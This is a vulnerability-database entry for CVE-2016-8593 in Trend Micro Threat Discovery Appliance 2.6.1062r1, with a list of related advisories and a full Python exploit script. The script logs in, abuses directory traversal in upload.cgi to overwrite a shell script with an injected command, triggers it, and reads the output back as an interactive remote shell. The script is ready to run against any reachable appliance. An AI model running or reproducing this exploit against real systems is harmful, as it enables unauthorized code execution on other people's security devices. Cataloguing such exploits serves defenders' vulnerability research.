Lucene search
+L

Trend Micro Threat Discovery Appliance <= 2.6.1062r1 (latest) upload.cgi Remote Code Execution Vulnerability Raw (CVE-2016-8593)

🗓️ 21 Apr 2017 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 59 Views

Trend Micro Threat Discovery Appliance <= 2.6.1062r1 (latest) Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Trend Micro Threat Discovery Appliance 2.6.1062r1 upload.cgi Remote Code Execution
20 Apr 201700:00
–zdt
cnvd
CNVD
Trend Micro Threat Discovery Appliance Directory Traversal Vulnerability
3 May 201700:00
–cnvd
cve
CVE
CVE-2016-8593
28 Apr 201719:00
–cve
cvelist
Cvelist
CVE-2016-8593
28 Apr 201719:00
–cvelist
euvd
EUVD
EUVD-2016-9440
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2016-8593
28 Apr 201719:59
–nvd
osv
OSV
CVE-2016-8593
28 Apr 201719:59
–osv
packetstorm
Packet Storm
Trend Micro Threat Discovery Appliance 2.6.1062r1 upload.cgi Remote Code Execution
19 Apr 201700:00
–packetstorm
prion
Prion
Directory traversal
28 Apr 201719:59
–prion
ptsecurity
Positive Technologies
PT-2017-9712
28 Apr 201700:00
–ptsecurity
Rows per page

                                                import sys
import re
import requests

requests.packages.urllib3.disable_warnings()

if len(sys.argv) != 3:
    print "(+) usage: %s <target> <pass>" % sys.argv[0]
    print "(+) eg: %s 172.16.175.123 admin123" % sys.argv[0]
    sys.exit(-1)

t = sys.argv[1]
p = sys.argv[2]

bu = "https://%s/" % t
l_url = "%scgi-bin/logon.cgi" % bu
u_url = "%scgi-bin/upload.cgi?dID=../../opt/TrendMicro/MinorityReport/www/cgi-bin/log_cache.sh" % bu
e_url = "%scgi-bin/log_query_system.cgi" % bu
r_url = "%snonprotect/si.txt" % bu

s = requests.Session()

# first we login...

r = s.post(l_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False)
if "frame.cgi" in r.text:
    print "(+) logged in..."
    print "(+) popping shell, type 'exit' to exit."
    cmd = ''
    while (cmd.lower() != "exit"):
        cmd = raw_input("$ ")
        if cmd.lower() == "exit":
            continue

        # now we upload to crush the log_cache.sh script
        bd = "`%s>/opt/TrendMicro/MinorityReport/www/nonprotect/si.txt`" % cmd
        u = {
            'ajaxuploader_file': ('si', bd, 'text/plain'), 
        }
        r = s.post(u_url, files=u, verify=False)
        
        # now we have to get the cmd executed...
        r = s.post(e_url, data={'act':'search','cache_id':''}, verify=False)

        # now we get the result
        r = s.get(r_url, verify=False)
        print r.text.rstrip()
else:
    print "(-) login failed"
    sys.exit(-1)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Apr 2017 00:00Current
9.2Critical risk
Vulners AI Score9.2
EPSS0.07047
59